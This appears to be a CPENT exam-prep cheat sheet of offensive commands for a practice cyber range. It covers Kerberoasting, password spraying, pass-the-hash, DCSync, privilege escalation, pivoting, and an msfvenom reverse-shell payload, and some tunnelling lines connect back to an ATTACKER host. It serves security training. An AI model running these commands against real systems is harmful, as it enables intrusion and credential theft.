CPENT / LPT field reference
CPENT cheat sheet: the command for each attack
The EC-Council CPENT AI exam is 24 hours on a live cyber range. This is the command companion to keep open on a second screen: pick your range, find the attack, copy the command. Kerberoasting, AS-REP roasting, lateral movement, pivoting, JWT attacks, binary exploitation, firmware and OT.
New to CPENT, or want the how and why first? Read the full prep guide, How to pass CPENT. This page is its command companion; the two follow the same ranges and tools.
The exam at a glance
A fully practical exam on a live enterprise range, remote-proctored and chained: footholds unlock networks you could not previously see. You may use your own notes and tools, which is why this reference earns its place. Against a 24-hour clock, recall speed is a score.
How to read this page: each range below is a set of named attacks, each with the command to run. When you are in the Active Directory range and need to Kerberoast, jump to AD & Windows and copy the line. The commands assume Kali; install the few extras (NetExec, chisel, pwntools, firmwalker) the week before, not on exam morning.
The 14 CPENT AI modules
The official curriculum, in order. The command sections below map onto these.
- 01Introduction to Penetration Testing & MethodologiesFrameworks, PTES, scoping mindset
- 02Penetration Testing Scoping & EngagementRules of engagement, legal, scope
- 03Open-Source Intelligence (OSINT)Passive recon, footprinting
- 04Social Engineering Penetration TestingPretext, phishing, the human layer
- 05Web Application Penetration TestingOWASP, injection, auth flaws
- 06API & Java Web Token Penetration TestingBOLA / IDOR, JWT attacks
- 07Perimeter Defense Evasion TechniquesFirewall, IDS / IPS, WAF bypass
- 08Windows Exploitation & Privilege EscalationTokens, services, misconfig
- 09Active Directory Penetration TestingKerberos, ACLs, DCSync
- 10Linux Exploitation & Privilege EscalationSUID, sudo, capabilities, cron
- 11Reverse Engineering, Fuzzing & Binary ExploitationStack overflows, 32 & 64-bit
- 12Lateral Movement & PivotingTunnels, double pivot, hidden nets
- 13IoT Penetration TestingFirmware, protocols, hardware
- 14Report Writing & Post-Testing ActionsFindings, PoC, remediation
Hackers 4 Humanity 2026
EC-Council’s Hackers 4 Humanity invites experienced penetration testers to sit a fully sponsored CPENT AI exam. You do not donate money; you donate skill.
Pass a sponsored exam, fund someone else’s start
For every professional who passes, EC-Council commits $1,000 of cybersecurity training to underprivileged learners through vetted non-profit partners. Score 90% or more and you are named one of the 1,000 Great Pen Testers of 2026, recognised on stage at Hacker Halted.
Dates, eligibility and partners are set by EC-Council and can change. Confirm current terms on the official Hackers 4 Humanity page before nominating.
Part II — The 24-hour game plan
A time plan that survives the range
Most CPENT failures are time failures, not skill failures: hours lost in one rabbit hole, or a pivot attempted too late to reach the networks behind it. Treat the plan below as a budget you actively defend.
| Window | Focus | The discipline |
|---|---|---|
| 0:00–1:00 | Full-scope sweep | Kick off a background -p- scan across everything in scope before touching a single box. |
| 1:00–4:00 | Low-hanging fruit | Bank the easy flags: exposed web apps, default creds, obvious CVEs. Points early buy calm later. |
| 4:00–7:00 | Foothold & pivot | Get a shell that reaches a new segment, then pivot immediately. Hidden networks hold the marks. |
| 7:00–10:00 | AD / internal | Enumerate the domain, Kerberoast, chase a path to Domain Admin with BloodHound. |
| 10:00–12:00 | Checkpoint | Back up notes, write findings while fresh, snapshot progress. End session one clean. |
| 12:00–18:00 | Binaries & hard targets | Fresh brain on the buffer overflow and reverse-engineering challenges. |
| 18:00–22:00 | Double pivot & cleanup | Reach the deepest segment, collect remaining flags, retry parked targets with new access. |
| 22:00–24:00 | Evidence lock | Confirm every claimed flag has a screenshot and a repeatable command. No proof, no points. |
If a target has not moved in 45 minutes, park it with a note and move on. The range is chained, and unrelated points are still points. You return with a clearer head and, often, a new credential or pivot that cracks it open.
Part III — Attack-by-attack commands
Recon & scoping
Passive first, then active. Map the attack surface before you make noise.
Subdomain & DNS enumeration
Find the wider surface, then try a zone transfer, which occasionally dumps the whole namespace.
theHarvester -d target.com -b all
subfinder -d target.com | httpx -sc -title
dnsrecon -d target.com -a # AXFR zone-transfer attempt
dig axfr target.com @ns1.target.comLive-host discovery on a scoped range
Ping sweep only. Do this before any port scan so the whole scope is mapped while you work one host.
nmap -sn 10.10.10.0/24 -oA hosts fping -a -g 10.10.10.0/24 2>/dev/null
Attack-surface fingerprinting
Identify tech stacks and exposed services fast, to prioritise which host to hit first.
whatweb https://target.com
shodan host 203.0.113.10 # exposed services, bannersNetwork & perimeter
Nmap is the workhorse. Sweep, then go deep, then enumerate the service. The perimeter-evasion flags are Module 07.
Full-port sweep, then deep scan
Fast full sweep for open ports, then service, version and default-script detection only on what answered.
nmap -p- --min-rate 2000 -T4 10.10.10.5 -oN all-ports.txt nmap -sC -sV -p 22,80,445,3389 10.10.10.5 -oA deep
UDP & NSE vulnerability scan
The UDP top ports catch SNMP, TFTP and IKE; the vuln category flags known CVEs on a service.
nmap -sU --top-ports 50 10.10.10.5 nmap --script "vuln" -p 445 10.10.10.5
Firewall & IDS evasion
ACK scan maps which ports are filtered; fragmentation, decoys and a trusted source port slip past simple rules.
nmap -sA -p 1-1000 10.10.10.5 # map firewall rules nmap -f --mtu 16 10.10.10.5 # fragment packets nmap -D RND:10 10.10.10.5 # decoys nmap -g 53 -sS 10.10.10.5 # source port 53, often trusted
SMB enumeration (445)
Null-session share listing and a quick credential check. The single richest port on most internal ranges.
enum4linux-ng -A 10.10.10.5 smbclient -L //10.10.10.5/ -N # null-session share list nxc smb 10.10.10.5 -u '' -p '' # NetExec, anonymous
LDAP, SNMP & NFS
The public SNMP string leaks users and routes; LDAP gives naming contexts; NFS shows exported mounts.
ldapsearch -x -H ldap://10.10.10.5 -s base namingcontexts snmpwalk -v2c -c public 10.10.10.5 showmount -e 10.10.10.5
Web, API & JWT
Content discovery, then injection and access-control flaws. The dedicated API and JWT module means IDOR / BOLA and token attacks are in scope, not just OWASP injection.
Content & vhost discovery
Brute directories and virtual hosts to find the hidden app. Filter noise by status code or response size.
ffuf -u https://target/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,403 ffuf -u https://target -H "Host: FUZZ.target" -w subdomains.txt -fs 0 gobuster dir -u https://target -w raft-medium-words.txt -x php,txt
SQL injection
Point sqlmap at a parameter, or feed it a saved Burp request for authenticated or complex endpoints.
sqlmap -u "https://target/item?id=1" --batch --dbs
sqlmap -r request.txt --batch --dump # from a saved Burp requestServer misconfig & WordPress
Nikto for a fast misconfiguration sweep; WPScan when WordPress is in scope, to enumerate users and vulnerable plugins.
nikto -h https://target wpscan --url https://target --enumerate u,vp
IDOR / BOLA
Iterate object IDs while authenticated as a low-privilege user. A 200 on another user’s object is broken object-level authorization.
ffuf -u https://target/api/v1/users/FUZZ/orders -w ids.txt \
-H "Authorization: Bearer <low-priv-token>" -mc 200JWT — alg:none bypass
Strip the signature and set the algorithm to none. If the server accepts it, you forge any claim.
jwt_tool <token> # decode header / payload jwt_tool <token> -X a # alg:none attack
JWT — weak secret & algorithm confusion
Crack a weak HS256 secret, then forge admin claims; or sign RS256 with the public key as an HMAC key when the server confuses the two.
jwt_tool <token> -C -d wordlist.txt # brute the HS256 secret hashcat -m 16500 jwt.txt rockyou.txt # crack the signing key jwt_tool <token> -X k -pk public.pem # RS256 -> HMAC key confusion
Active Directory & Windows
The densest scoring ground. Map the domain, roast for credentials, move laterally, dump, then escalate. Enumerate before you commit to a path.
Map the AD network
Collect with BloodHound / SharpHound and read the shortest path to Domain Admin off the graph. Do not guess it.
bloodhound-python -u user -p pass -d corp.local -c all -ns 10.10.10.5 # or on-host: SharpHound.exe -c All enum4linux-ng -A 10.10.10.5 # users, groups, shares
Credential sweep & password spray
Test one credential across the domain to find where it is local admin. Spraying counts as real logons, so watch lockout thresholds.
nxc smb 10.10.10.0/24 -u user -p 'Pass123' --shares kerbrute passwordspray -d corp.local users.txt 'Spring2026!'
Kerberoasting
Any domain user can request the service ticket of an account with an SPN, then crack it offline. hashcat mode 13100.
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.10.10.5 -request hashcat -m 13100 tgs.txt rockyou.txt
AS-REP roasting
Accounts with Kerberos pre-authentication disabled hand out a crackable hash without any credential. hashcat mode 18200.
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass hashcat -m 18200 asrep.txt rockyou.txt
NTLM capture & poisoning
Responder poisons LLMNR / NBT-NS and captures NetNTLMv2 hashes off the wire. Crack with hashcat mode 5600 (or relay them).
responder -I eth0 -wv hashcat -m 5600 ntlmv2.txt rockyou.txt
Lateral movement
Turn a password or NTLM hash into execution on the next host. Pass-the-hash with -H needs no cleartext password.
impacket-psexec corp.local/[email protected] -hashes :<NTLM> impacket-wmiexec corp.local/admin:[email protected] evil-winrm -i 10.10.10.6 -u admin -H <NTLM-hash> # pass-the-hash
Credential dumping & DCSync
secretsdump pulls local and domain secrets. With replication rights (often via an ACL abuse) DCSync pulls any hash, including krbtgt.
impacket-secretsdump corp.local/user:[email protected] impacket-secretsdump corp.local/user:[email protected] -just-dc-user krbtgt
Windows local privilege escalation
Read your token privileges first. SeImpersonate (common on service accounts) means a potato gets you SYSTEM.
whoami /priv winPEASx64.exe quiet # or PowerUp Invoke-AllChecks PrintSpoofer.exe -i -c cmd # SeImpersonate -> SYSTEM GodPotato -cmd "cmd /c whoami" # modern potato, 2019 / 2022
Linux privilege escalation
Run the enumerator, then work the five classic vectors. GTFOBins turns almost any of them into a root shell.
Enumerate everything
One command surfaces sudo rules, SUID, capabilities, cron and kernel version. Read it, then pick a vector below.
./linpeas.sh -a | tee linpeas.txt
Abuse sudo rights
List what you may run as root, then check GTFOBins for a shell escape. NOPASSWD entries are the fast win.
sudo -l
sudo find . -exec /bin/sh \; -quit # example if sudo find is allowedSUID binaries & capabilities
A root-owned SUID binary or a cap_setuid capability on the wrong binary is a direct route to root via GTFOBins.
find / -perm -4000 -type f 2>/dev/null # SUID binaries getcap -r / 2>/dev/null # cap_setuid=ep is game over
Writable cron & kernel fallback
A world-writable script run by root cron is easy privesc. Kernel exploits (DirtyPipe, PwnKit) are a last resort; they are noisy and can crash the box.
cat /etc/crontab; ls -la /etc/cron.* searchsploit "linux kernel $(uname -r | cut -d- -f1)"
Pivoting & tunnelling
The skill that makes CPENT CPENT. Hidden segments sit behind compromised hosts, and the highest-value flags live there. Over-invest here.
Dynamic SOCKS (single pivot)
Open a SOCKS proxy through a foothold, then run any TCP tool through it with proxychains. proxychains is TCP-connect only, no UDP or raw.
ssh -D 1080 -N [email protected] # socks5 127.0.0.1 1080 proxychains nmap -sT -Pn 172.16.5.0/24 # scan the hidden net
Local & remote port forwarding
Forward a single port when you only need one service. -L reaches into their network; -R pulls a callback back to you.
ssh -L 8000:172.16.5.10:80 [email protected] # reach their :80 locally ssh -R 9001:127.0.0.1:9001 [email protected] # callback back to you
SOCKS over HTTP (chisel)
When only HTTP egress is allowed, chisel tunnels a reverse SOCKS proxy over it. Attacker is the server, the pivot host is the client.
attacker> chisel server -p 8080 --reverse pivot> chisel client ATTACKER:8080 R:socks
tun interface & the double pivot (ligolo-ng)
ligolo-ng gives a clean tun interface and is the easiest way to hold several segments. Add a route per network; repeat the agent on the second host to double-pivot into network C.
attacker> ./proxy -selfcert pivot1> ./agent -connect ATTACKER:11601 -ignore-cert sudo ip route add 172.16.5.0/24 dev ligolo # repeat ./agent on a host in 172.16.5.0/24 to reach the next network
Metasploit route
Inside a Meterpreter session, autoroute plus a SOCKS proxy does the same for the framework’s modules.
meterpreter> run autoroute -s 172.16.5.0/24 msf> use auxiliary/server/socks_proxy
Binary exploitation
The bar is competence, not research. Drive the classic stack overflow to completion on both 32 and 64-bit. Each step is a command.
Triage the binary
Check protections first: NX, PIE, canary and RELRO decide which technique you need.
checksec --file=./vuln
Debug & reverse
GDB with pwndbg or GEF for dynamic analysis, Ghidra for static reversing, strace / ltrace to watch syscalls and library calls.
gdb ./vuln # with pwndbg or GEF loaded ghidra # static reverse engineering strace ./vuln ; ltrace ./vuln
Find the offset to EIP / RIP
Send a cyclic pattern, crash the target, then resolve the exact offset from the value that landed in the instruction pointer.
msf-pattern_create -l 2000
msf-pattern_offset -q 39694438 # value seen in EIP/RIPBad characters & a JMP ESP / RSP
Find bytes that corrupt the payload, then a jump-to-stack gadget that avoids them. On 64-bit the register is RSP.
!mona bytearray -cpb '\x00' # generate, then compare in memory !mona jmp -r esp -cpb '\x00\x0a' # find JMP ESP (RSP on x64)
Generate shellcode
Build a reverse shell that avoids the bad characters, then assemble: offset padding + jump gadget + NOP sled + shellcode.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 \
-b '\x00\x0a\x0d' -f python -v shellcodeDefeat NX / DEP with ROP, and script it
When the stack is non-executable, chain gadgets into a short ROP to system() or a ret2libc. pwntools turns the whole flow into a repeatable script.
ROPgadget --binary ./vuln --only "pop|ret"
python3 -c 'from pwn import *; ...' # pwntools exploit templateIoT, firmware & OT
Enumeration beats brute force. The wins are usually secrets left in the firmware image. On OT, identify only.
Carve the firmware
binwalk finds and extracts embedded filesystems and compressed blobs from a firmware image.
binwalk -e firmware.bin
Extract the filesystem
Unpack SquashFS with unsquashfs; keep sasquatch for vendor firmware whose non-standard SquashFS chokes the stock tool.
unsquashfs squashfs-root.bin
sasquatch squashfs-root.bin # non-standard SquashFS variantsHunt for secrets
firmwalker sweeps the extracted filesystem for passwd / shadow files, SSH keys, certs and hardcoded credentials.
firmwalker.sh _firmware.extracted/ strings -n 8 firmware.bin | grep -iE 'pass|key|token'
MQTT (1883)
IoT brokers are frequently unauthenticated. Subscribe to the wildcard topic and read the device’s whole conversation.
mosquitto_sub -h 10.10.10.5 -t '#' -v
Modbus / OT — identify only
Modbus/TCP (502) has no auth or encryption, so identification is the whole game. Enumerate and prove access; never fuzz or flood, because an aggressive scan can halt a physical process.
nmap -p 502 --script modbus-discover 10.10.10.5 nmap -p 102 --script s7-info 10.10.10.5
Hash cracking
Every roast, capture and dump above ends in a hash. Know the hashcat mode for each on sight.
| Hash / source | Where it comes from | hashcat -m |
|---|---|---|
| NTLM | secretsdump, SAM, NTDS | 1000 |
| NetNTLMv2 | Responder capture | 5600 |
| Kerberoast (TGS-REP) | GetUserSPNs | 13100 |
| AS-REP | GetNPUsers | 18200 |
| JWT (HMAC) | web / API token | 16500 |
| sha512crypt ($6$) | Linux /etc/shadow | 1800 |
| bcrypt ($2*$) | app databases | 3200 |
Run the crack
hashcat with the right mode and a wordlist, or John with autodetect. Add a rule set (best64) before you reach for brute force.
hashcat -m 13100 tgs.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule john --wordlist=rockyou.txt hashes.txt
Part IV — Finishing the exam
Report writing & submission
The exam is not over when the range closes. You have seven days to submit a professional report, and it is scored. Treat it as a deliverable a client would pay for.
| Section | What graders look for |
|---|---|
| Executive summary | Business-language risk, no jargon. What could an attacker do, and why should leadership care. |
| Scope & methodology | What was in scope, the standard followed, dates and rules of engagement. |
| Findings | One per issue: title, CVSS / severity, affected asset, description, and reproducible steps. |
| Proof of concept | Screenshots with the command visible, request / response pairs, the captured flag. |
| Remediation | Specific, actionable fixes per finding. Not “patch everything”. |
Every screenshot should show the target IP, your command and the result in one frame. Feed the report continuously during the exam. Reconstructing proofs from memory at hour twenty-three is where scores quietly leak away.
CPENT exam FAQ
How long is the CPENT exam and how is it scored?
A fully practical exam on a live cyber range. You choose one 24-hour session or two of 12 hours. Score 70%+ for the CPENT certification and 90%+ to also earn Licensed Penetration Tester (LPT) Master. You then submit a professional report within seven days, and that report is scored too.
Is the CPENT exam open book?
Yes. It is a hands-on range, so your own notes, cheat sheets and standard tools are allowed; outside help is not. The advantage of a reference like this is speed: not stopping to look up an msfvenom flag or a Kerberoasting one-liner lets you finish more challenges.
What is CPENT AI, and how is it different from the older CPENT?
CPENT AI is the current version. Same 24-hour practical exam and LPT Master pathway, plus AI-assisted techniques across the phases. The core skills the range grades are unchanged.
What is the hardest part of the CPENT exam?
Pivoting into hidden segments combined with binary exploitation under time pressure. The range is chained, so a failed pivot blocks everything behind it. Drill double pivoting and 32 and 64-bit stack overflows until they are automatic.
Do I need exploit development skills to pass CPENT?
Working competence, not research-grade skill. You must find a stack overflow, calculate the offset, handle bad characters, redirect to a JMP ESP (or JMP RSP on 64-bit) and land a msfvenom payload, on both architectures. The classic stack-overflow workflow must be second nature.
What is Hackers 4 Humanity, and how does it relate to CPENT?
An EC-Council initiative offering experienced pen testers a fully sponsored CPENT AI exam. For each pass, EC-Council donates $1,000 of training to underprivileged learners. Score 90%+ and you join the 1,000 Great Pen Testers of 2026. Nominations run from May to early October 2026.